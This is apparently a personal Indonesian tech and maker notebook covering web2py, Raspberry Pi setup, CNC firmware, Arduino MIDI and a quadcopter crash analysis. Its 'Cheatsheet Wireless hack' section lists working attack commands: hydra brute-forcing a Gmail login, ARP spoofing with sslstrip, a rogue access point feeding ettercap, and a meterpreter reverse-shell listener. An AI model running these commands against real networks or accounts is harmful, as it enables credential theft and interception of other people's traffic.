Crontab of mine


My old crontab -e entries.
need to be changed now.

39 * * * * /var/lib/asterisk/bin/freepbx-cron-scheduler.php
*/30 * * * * sudo ntpdate -u id.pool.ntp.org
@reboot root ntpdate -u id.pool.ntp.org
@reboot root perl /root/misterhouse/bin/mh -tk 0
*/15 * * * * sudo /usr/bin/python /root/twpi.py
*/1 * * * * sudo /usr/bin/python /root/getdata.py

Membuat kabel network

Ini topik lama, tapi kadang-kadang saya masih perlu membuat kabel network.

Yang saya pakai adalah : T-568B
dan kalau di test di network cable tester... tetap berurutan 1 s/d 8 normal



TIPS WEB2PY - Fast Development

Mengambil sebagian data dan paste ke form baru.


    row = db((db.lease.unit == 35) & (db.lease.tenant == 27)).select(orderby=~db.lease.sewa_akhir).first()



    sewa_akhir = row.sewa_akhir

    tgl_masuk = row.tgl_masuk
    
    form.vars.tgl_masuk = tgl_masuk   #ini memasukkan ke fieldform

    return dict(sewa_akhir=sewa_akhir,tgl_masuk=tgl_masuk)



  1. Perhatikan tilde di orderby
  2. perhatikan .first()

di view tinggal memasukkan {{=sewa_akhir}}


Update Tanggal

    query = (db.unit.id == request.vars.unit)
    set = db(query).update(sewa_akhir=request.vars.sewaakhir)


Menambah hari ke sebuah tanggal

    dd = (datetime.datetime.now() + datetime.timedelta(days=10)).strftime("%Y-%m-%d")

    return dict(dd=dd)


kode get json

      http://127.0.0.1:8000/JPM/lease/getlast.json?unit=36&tenant=28

  di controller:

def getlast():
      row = db((db.lease.unit == 31) & (db.lease.tenant == 23)).select(orderby=~db.lease.sewa_akhir).first()
      return dict(sewa_akhir=row.sewa_akhir,sewa_awal=row.sewa_awal)

Belajar Serat Kayu

Ini adalah hal-hal umum yang saya pelajari sewaktu membuat box kayu.

Kita harus mempelajari serat kayu dalam membuat box. Serat kayu menentukan teknik yang akan dipakai. Chipping adalah hal yang ingin di hindari. Lihat dan perhatikan arah serat kayunya.

Box dalam CNC harus benar-benar flat surface. (bagaimana cara termudah melakukannya?)
- mungkin harus di pass lewat flat bit dulu.

Mengamplas Groove itu susah apabila belum punya tehnik.

Membuat tegak lurus dan paralel adalah problem perkayuan yang paling umum. Kuasai materi ini, selanjutnya lebih mudah.



PARADIGMA PROYEK 3 HARI

Setelah melalui fase menjadi pekerja, hambatan yang paling besar dalam menuju kemajuan adalah DISTRAKSI. Di zaman penuh dengan teknologi digital ini banyak sekali yang membuat kita menjadi tidak fokus.
Kita menuju kemana? ini adalah pertanyaan yang susah dijawab apabila tidak fokus.
Saya sedang menikmati belajar kembali hal-hal yang bersifat engineering, namun dalam perjalanannya kadang tidak menemukan jawaban untuk sebuah permasalahan.
Ini perlunya pekerjaan yang berdasarkan bagian per bagian.
Kita membagi problem besar menjadi problem kecil-kecil yang dapat di pecahkan.
Disini saya tertarik pada ide paradigma proyek 3 hari.

Saya belajar dari video ini. Klik sini
https://www.youtube.com/watch?v=ohr6O78jGzs

Sangat inspiratif buat saya dan saya merasa saya dapat melakukannya.
Apa idenya?

Idenya adalah bagaimana kita belajar bagian-bagian yang kecil-kecil.

Hari pertama:
   Ngoprek dan mengetes-ngetes.
   Refactor  (ini pelajaran pentingnya. Mengecilkan bagian sampai cukup dapat dipecahkan)

Hari kedua.
  Buat semua berfungsi.
  Buat semua BUGS kabur!!!

Hari ketiga.
  Dokumentasi- dokumentasi
  Refactor
  Blog.
  Taruh di repository.



Kesalahan dalam Membuat

Ini adalah kesalahan yang kerap saya lakukan dalam MAKE something.

0. Tidak pakai Design.
1. Design awal mengalami perubahan sambil berjalan.
2. Posisi baut menabrak satu sama lain.
3. Pemotongan tidak siku.
4. Pemotongan Tidak AKURAT. (ini mengakibatkan tidak siku).
5. Redundancy Kabel kemana mana. (Mulai gunakan crimping).
6. Struktural tidak bidang segitiga (Jadi letooyy)


Favorite Making tools:

1. Alumunium siku 20x20x1.5mm x 6 meter
2. Pelat Alumunium lurus 20mmx2mm x 6 meter
3. Rivet untuk kunci 3mm
4. Bor 4.5 untuk rivet
5. Pelat aluminium lanjutan.
6. Gergaji besi elektrik
7. Bor Tangan
8. Crimping kabel





Mau tahu ip sendiri dalam bentuk text?

Query ke getip.dyndns.org

Install web2py di raspberry pi

Saya gunakan script ini.

copy paste.
chmod +x
lalu jalankan.


echo "This script will:
1) install all modules need to run web2py on Ubuntu/Debian
2) install web2py in /home/www-data/
3) create a self signed sll certificate
4) setup web2py with mod_wsgi
5) overwrite /etc/apache2/sites-available/default
6) restart apache.

You may want to read this script before running it.

Press a key to continue...[ctrl+C to abort]"

read CONFIRM

#!/bin/bash
# optional
# dpkg-reconfigure console-setup
# dpkg-reconfigure timezoneconf
# nano /etc/hostname
# nano /etc/network/interfaces
# nano /etc/resolv.conf
# reboot now
# ifconfig eth0

echo "installing useful packages"
echo "=========================="
apt-get update
apt-get -y install ssh
apt-get -y install zip unzip
apt-get -y install tar
apt-get -y install openssh-server
apt-get -y install build-essential
apt-get -y install python2.5
apt-get -y install ipython
apt-get -y install python-dev
apt-get -y install postgresql
apt-get -y install apache2
apt-get -y install libapache2-mod-wsgi
apt-get -y install python2.5-psycopg2
apt-get -y install postfix
apt-get -y install wget
apt-get -y install python-matplotlib
apt-get -y install python-reportlab
apt-get -y install mercurial
/etc/init.d/postgresql restart

# optional, uncomment for emacs
# apt-get -y install emacs

# optional, uncomment for backups using samba
# apt-get -y install samba
# apt-get -y install smbfs

echo "downloading, installing and starting web2py"
echo "==========================================="
cd /home
mkdir www-data
cd www-data
rm web2py_src.zip*
wget http://web2py.com/examples/static/web2py_src.zip
unzip web2py_src.zip
mv web2py/handlers/wsgihandler.py web2py/wsgihandler.py
chown -R www-data:www-data web2py

echo "setting up apache modules"
echo "========================="
a2enmod ssl
a2enmod proxy
a2enmod proxy_http
a2enmod headers
a2enmod expires
a2enmod wsgi
mkdir /etc/apache2/ssl

echo "creating a self signed certificate"
echo "=================================="
openssl genrsa 1024 > /etc/apache2/ssl/self_signed.key
chmod 400 /etc/apache2/ssl/self_signed.key
openssl req -new -x509 -nodes -sha1 -days 365 -key /etc/apache2/ssl/self_signed.key > /etc/apache2/ssl/self_signed.cert
openssl x509 -noout -fingerprint -text < /etc/apache2/ssl/self_signed.cert > /etc/apache2/ssl/self_signed.info

echo "rewriting your apache config file to use mod_wsgi"
echo "================================================="
echo '
NameVirtualHost *:80
NameVirtualHost *:443
# If the WSGIDaemonProcess directive is specified outside of all virtual
# host containers, any WSGI application can be delegated to be run within
# that daemon process group.
# If the WSGIDaemonProcess directive is specified
# within a virtual host container, only WSGI applications associated with
# virtual hosts with the same server name as that virtual host can be
# delegated to that set of daemon processes.
WSGIDaemonProcess web2py user=www-data group=www-data processes=1 threads=1


  WSGIProcessGroup web2py
  WSGIScriptAlias / /home/www-data/web2py/wsgihandler.py
  WSGIPassAuthorization On

 
    AllowOverride None
    Order Allow,Deny
    Deny from all
   
      Allow from all
   

 

  AliasMatch ^/([^/]+)/static/(?:_[\d]+.[\d]+.[\d]+/)?(.*) \
           /home/www-data/web2py/applications/$1/static/$2
 
    Options -Indexes
    Order Allow,Deny
    Allow from all
 

 
  Deny from all
 

 
  Deny from all
 

  CustomLog /var/log/apache2/access.log common
  ErrorLog /var/log/apache2/error.log



  SSLEngine on
  SSLCertificateFile /etc/apache2/ssl/self_signed.cert
  SSLCertificateKeyFile /etc/apache2/ssl/self_signed.key

  WSGIProcessGroup web2py
  WSGIScriptAlias / /home/www-data/web2py/wsgihandler.py
  WSGIPassAuthorization On

 
    AllowOverride None
    Order Allow,Deny
    Deny from all
   
      Allow from all
   
 

  AliasMatch ^/([^/]+)/static/(?:_[\d]+.[\d]+.[\d]+/)?(.*) \
        /home/www-data/web2py/applications/$1/static/$2

 
    Options -Indexes
    ExpiresActive On
    ExpiresDefault "access plus 1 hour"
    Order Allow,Deny
    Allow from all
 

  CustomLog /var/log/apache2/access.log common
  ErrorLog /var/log/apache2/error.log

' > /etc/apache2/sites-available/default

# echo "setting up PAM"
# echo "================"
# sudo apt-get install pwauth
# sudo ln -s /etc/apache2/mods-available/authnz_external.load /etc/apache2/mods-enabled
# ln -s /etc/pam.d/apache2 /etc/pam.d/httpd
# usermod -a -G shadow www-data

echo "restarting apache"
echo "================"

/etc/init.d/apache2 restart
cd /home/www-data/web2py
sudo -u www-data python -c "from gluon.widget import console; console();"
sudo -u www-data python -c "from gluon.main import save_password; save_password(raw_input('admin password: '),443)"
echo "done!"

Cheatsheet Wireless hack

Bruteforce gmail

hydra -S -l xxx@gmail.com -P /pentest/password/wordlist/word.lst -e ns -V -s 465 smtp.gmai.com smtp


------------------------------------------

SSLSTRIP

  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

liat gateway cari target

  nmap -sS -O gateway/24

  arpspoof -i wlan0 -t targetIP -r gatewayIP

new terminal
  sslstrip -l 8080

------------------------------------------

FAKE ACCESS POINT

  route n
  find gatewayIP

  apt-get install dhcp3-server

  /etc/dhcpd.conf

    >>isinya

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name "AZANA16-2";
option domain-name-servers 192.168.1.1;
range 192.168.1.2 192.168.1.40;
}


  airmon-ng
  airmon-ng start wlan0

  airbase-ng -c 11 -e AZANA16-2 mon0

 #new terminal
  ifconfig at0 192.168.1.1 netmask 255.255.255.0
  ifconfig at0 mtu 1400
  route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p udp -j DNAT --to gatewayIP
  iptables -P FORWARD ACCEPT
  iptables --append FORWARD --in-interface at0 -j ACCEPT
  iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
  /etc/init.d/isc-dhcp-server start

  sslstrip -f -p -k 10000

 #new terimal
  ettercap -p -u -T -q -i at0


---------------------

RESEP LINUX

mounting samba
  mount -t cifs //192.168.99.88/Public -o username=irza,password=xxx


use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

===========================================
SSLSTRIP on router


echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

  gwip: gateway ip

nmap -sS -O gwip/24

  targip: targetip


arpspoof -t eth0 -t targip -r gwip

sslstrip -l 8080

Marlin for CNC

ini yang saya ganti di pin.h
banyakan sih di STEP dan DIR

di configuration.h set ke motherboard 99
jangan lupa set default_step juga

configuration.h
  Z_MIN_POS -150
  HEATER_0_MINTEMP 0
  #define DEFAULT_AXIS_STEPS_PER_UNIT   {78.7402,78.7402,200.0*8/3,760*1.1}  // default steps per unit for Ultimaker
sesuaikan dengan rumus.

pin.h

#if MOTHERBOARD == 99
#define KNOWN_BOARD 1

#define X_STEP_PIN          3
#define X_DIR_PIN           4
#define X_ENABLE_PIN        -1
#define X_STOP_PIN          -1

#define Y_STEP_PIN          7
#define Y_DIR_PIN           8
#define Y_ENABLE_PIN       -1
#define Y_STOP_PIN          -1

#define Z_STEP_PIN          5
#define Z_DIR_PIN           6
#define Z_ENABLE_PIN       -1
#define Z_STOP_PIN          -1

#define E0_STEP_PIN         9
#define E0_DIR_PIN          10
#define E0_ENABLE_PIN      -1

#define SDPOWER            -1
#define SDSS               53
#define LED_PIN            -1
#define FAN_PIN            -1
#define PS_ON_PIN           9
#define KILL_PIN           -1

#define HEATER_0_PIN        13
#define HEATER_1_PIN       -1
#define HEATER_2_PIN       -1
#define TEMP_0_PIN          6   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define TEMP_1_PIN         -1   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define TEMP_2_PIN         -1   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define HEATER_BED_PIN      4
#define TEMP_BED_PIN       10

#endif /* 99 */


referensi saya:
http://www.buildlog.net/blog/2012/08/hacking-your-cnc-toolchain/

mengInstall PjSIP

mengInstall PjSIP
di Raspberry Pi


sudo apt-get install libv4l-dev libx264-dev libssl-dev libasound2-dev asterisk


SDL

cd
mkdir tmp
cd $HOME/tmp
wget http://www.libsdl.org/tmp/SDL-2.0.tar.gz
tar xvfz SDL-2.0.tar.gz
cd SDL-2.0.0-7125/
./configure
make
sudo make install

FFMPEG

cd $HOME/tmp
wget http://ffmpeg.org/releases/ffmpeg-0.10.7.tar.bz2
tar xvfj ffmpeg-0.10.7.tar.bz2
cd ffmpeg-0.10.7
./configure --enable-shared --disable-static --enable-memalign-hack --enable-gpl --enable-libx264
make
sudo make install

Build PjSIP

cd $HOME/tmp
wget http://www.pjsip.org/release/2.1/pjproject-2.1.tar.bz2
tar xvfj pjproject-2.1.tar.bz2
cd pjproject-2.1.0/
./configure --disable-video
make dep
make

Mounting Samba

instruksi mounting samba ke raspberry pi

sudo apt-get install smbclient

sudo mount -t cifs -o user=IRZA,password=S***,sec=ntlmv2,rw,file_mode=0777,dir_mode=0777 //192.168.30.97/Public /home/pi/data/


untuk raspberry pi bisa dimounting di Windows.

sudo apt-get install samba samba-common-bin

edit file /etc/samba/samba.conf

tambahkan:
  workgroup = yes
  wins support = yes

dan berikut ini:

[pihome]
   comment= Pi Home
   path=/home/pi
   browseable=Yes
   writeable=Yes
   only guest=no
   create mask=0777
   directory mask=0777
   public=no

Updated Robot WishList

  1. I would like to have a mobile workstation for my laptop, i usually change place while working.. living room, backyard.. etc (still in my home)
  2. Making the robot available to Indonesian language is better.
  3. I don't watch TV so much  but I would like to have recent news from selected RSS internet feed
  4. Communicating with people.. i mean telephony system in my robot.. i can perform calls from my laptop and vice versa.
  5. I want to check email.. and someone read it for me.
  6. Browsing the internet by voice or virtual touch (without mouse?)
  7. Entertaing robot..
  8. I have music clips or movie clips that i like to see many times. (building database and a navigation menu for search)
  9. I shared my laptop with my wife, and some other people.. so i cannot close the laptop for only one software. maybe other people can use the system too..
  10. Video capture
  11. I love music and love playing drums.. i want to have a recording station while jamming with my friends.
  12. Chatting with the robot would be nice
  13. Should be relatively cheap.. =)
  14. I like to have a menu system for my robot
  15. The robot should have a brain for navigating my house.
  16. The robot can recognize face and objects..
  17. Home controlled by robot.. this is good
  18. Robot Emotions? Leaf have that
  19. The robot can take or bring me something... (i think it's very hard)
  20. This one is really deep..   i want to ride my robot. transportation in my neigborhood maybe?? (last priority :) )

21. Sync with Social Media / Facebook / Twitter / email
22. Design is Modular. Can add Head / Arm / other Interface.
23. Remainder - Sync with Contacts and Google Calendar.
24. Update with weather and Traffic Jam CCTV.

25. Can use APM - Mission planner and Turnigy Remote
26. Interface to ROS


PCB Design Error

Ini kesalahan saya dalam mendesain PCB.

1. Posisi Terminal tidak lega.
posisi terminal yang miring tidak membuat pemasangan kabel menjadi mudah, melainkan cukup menyulitkan.
Buat terminal di pinggir dan lubang menghadap luar

2. Jalur bisa dibuat lebih besar.
Sepertinya saya memakai 0.5 sebagai lebar jalur. Bisa gunakan 0.7 / 0.8


Flash Arduino UNO / MEGA menjadi device MIDI

Salah satu implementasi arduino yang menarik adalah membuat arduino menjadi midi device.
Langkah berikut untuk flashing arduino

Saya menggunakan arduino mega 2560 dari DFROBOT bisa dibeli disini

1. download dfu-programmer / unzip di harddisk anda download disini
2. download hex yang sudah dicompile   download disini

3. Connect Arduino ke computer via USB
4. reset Arduino dengan menghubungkan 2 solderan ini (pin)

5. Nanti Arduino mereset dan setelah connect kembali dia menjadi ARDUINO DFU
6. PENTING: Install driver windows dfu dengan mengarahkan ke directori dfu yang telah didownload
7. Jalankan langkah ini:

dfu-programmer at90usb82 erase
dfu-programmer at90usb82 flash Arduino-usbmidi-0.2-mega2560.hex
dfu-programmer at90usb82 reset

8. Lepas USB dan Connect kembali.

Anda tidak bisa mengupload sketch apabila sudah memasang ini. Upload implementasi anda sebelumnya.
atau mereflash kembali ke MEGA-dfu_and_usbserial_combined.hex yang ada di directory
arduino-1.0.5\hardware\arduino\firmwares\atmegaxxu2

Semoga Berhasil.


Raspberry Pi - web2py


Install Web2py di Pi


wget http://web2py.googlecode.com/hg/scripts/setup-web2py-ubuntu.sh
chmod +x setup-web2py-ubuntu.sh
sudo ./setup-web2py-ubuntu.sh

Install Pygal. for Pi
slow but works.
apt-get install python-pip
apt-get install libxml2-dev libxslt1-dev gcc
apt-get install python2.7-dev
pip install pygal

Client ntpdate
sudo apt-get install ntpdate

bisa sync waktu dengan command:
ntpdate -u id.pool.ntp.org

Untuk crontab.
crontab -e
0/15 0 0 0 0 sudo ntpdate -u id.pool.ntp.org
@reboot root ntpdate -u id.pool.ntp.org






Analisa Terbang Perdana - @Aldiron MBAU

lumayan windy day.

Hari cerah dan lumayan berangin untuk penerbangan perdana di lapangan bola Aldiron MBAU Pancoran.
Dengan menggunakan prop 10x4.5 soft plastik kuning. Kami mencoba terbang di Aldiron bersama teman-teman yang juga ingin menyaksikan.

Semua koneksi berhasil di lakukan (FPV receiver - MinimOSD - Telemetry),
Test Stabilize dan Loiter sudah cukup lumayan tapi hanya sebentar, banyak drift karena angin.
Namun disalah satu penerbangannya. Quad 'lepas' dari transmitter dan terjadi sedikit panik dan quad masuk ke modus 'RTL - Return to Launch' dan di perjalanan terjadi insiden brown out dan crash quad dari ketinggian +/- 20 meter.
Out of control (Return To Launch mode)
Kesalahan pertama saya adalah set home dan start quad tidak bersih dari pohon (karena keakuratan GPS +/- 10 meter). ternyata dalam radius 10 meter masih ada pohon tempat kita berteduh. Ini mengakibatkan quad ingin mendarat tapi ada pohon yang merintangi.
Namun ada untungnya juga. ternyata quad drop - battery drained dan masih tertahan dahan / ranting pohon.

Beginilah posisi modus RTL yang tiba-tiba terjadi. Seharusnya pendaratan menggunakan kordinat yang bebas dari pohon dan rintangan lainnya.

posisi RTL diatas pohon

mengapa battery drop? saya tidak sempat menyaksikan di layar monitor - Alert maupun Warning yang telah saya set di 13.3 Volt (4S). Namun menurut log - battere telah terpasang sampai dengan 17 menit. (harus di cek kebenarannya)



Di menit ke 12, battere sudah sampai di batas minimal alert- Namun karena sedang situasi RTL yang justru ingin naik, menguras pengeluaran battere sehingga tenaga kurang untuk mengangkat quad naik keatas.

Secara perhitungan saya memang quad ini mempunyai hover time sekitar 7 menit. Tapi secara keseluruhan terbangnya sudah mungkin melebihi. (keasikan sampai lupa waktu)


Pada menit ke-12 grafik menunjukan impact dengan tanah, dan tegangan drop dibawah 12 volt. Tetapi tidak ada brown out board. Ini hal yang positif, berarti voltase board sudah lumayan stabil.

Namun yang saya belum temukan jawabannya mengapa menit ke 9 sd 10, accel seperti tidak merekam kegiatannya.



Analisa menarik GPS sempat mengalami glitch di menit 11:30 hdop naik sangat tinggi dan penerimaan satelit sampai dengan 4 saja. Ini kemungkinan karena waktu main-main dekat pohon yang merintangi signal gps.

Log juga mengatakan ERR 5 di beberapa tempat

5: Throttle failsafe
ECode 1: throttle dropped below FS_THR_VALUE meaning likely loss of contact between RX/TX
ECode 0: above error resolve meaning RX/TX contact likely restored
Setelah saya teliti receiver saya antenanya terputus, tapi saya tidak tahu apakah hal ini terjadi setelah jatuh atau sebelum jatuh.

Receiver tanpa antenna. Masih bisa terbang gak ya?

Perlu latihan lagi.

Preflight lesson learned.

- Transmitter yang tidak terpasang dengan kencang.
 kelonggarannya menyebabkan Tx - Rx tidak stabil -> quad langsung masuk ke modus RTL. tanpa di perintah.

- Fitur LAND pada GPS Failsafe. ini karena tidak menggunakan pre-check Armed.
 Quad langsung terbang ke plafond dan menabrak furniture.

- Tidak menggunakan pre-check. menyebabkan LAND sewaktu sedang main biasa (ini karena fitur GEOFENCE di ENABLED) dan home position yang berbeda dari sebelumnya.

ini menginspirasikan saya membuat pre-check sebelum terjun kelapangan.


PRE-FLIGHT PREP

Charge GoPro + USB Cable


Charge + Power Bank


Bring GoPro Composite Cable + Casing


Charge Battery - MULTICOPTER MAIN - 4S 2200mAh


Bring Turnigy TX Transmitter


Bring PROP replacement


PreFetch Map - Destination - Mission Planner


Charge Battery - MULTICOPTER SECOND - 4S 2200mAh


Charge Battery - MULTICOPTER OSD + Tx - 3S 450mAh


Charge Battery - REMOTE - 3S 2200mAh - NanoTECH


Charge Battery - REMOTE OR  FPV - 3S 1800mAh - Black


Charge Battery - HUBSAN - 2S 450mAh - with own charger


Charge Battery - MINI BAT - 2S 500mAh


Check APM - FailSAFE - Radio off -> RTL
  Check Channel 3 Threshold < 970
  THR_FS_VALUE


Check APM - FailSAFE - Battery -> NO FAILSAFE


Check APM - Flight Mode
    All Stab x Simple
    Stab - AltHold - Loiter    x SimpleMode
    Stab - StabSimp - AltHold - Loit - Auto - RTL


Check Battery Voltage Warning Param


Check APM - GeoFence - Enabled - Watchout for NoLockup GPS Arm


ReCheck Cabling


ReCheck All PROP BOLT


ReCheck Battery Compartment


Recheck Loose Cable or Board


ReCheck MODE Transmitter - XCOPTER


Check ALTITUDE in MP - Light Interference - Barometer


Check Accel and Compass


Check Channel 7 and Channel 8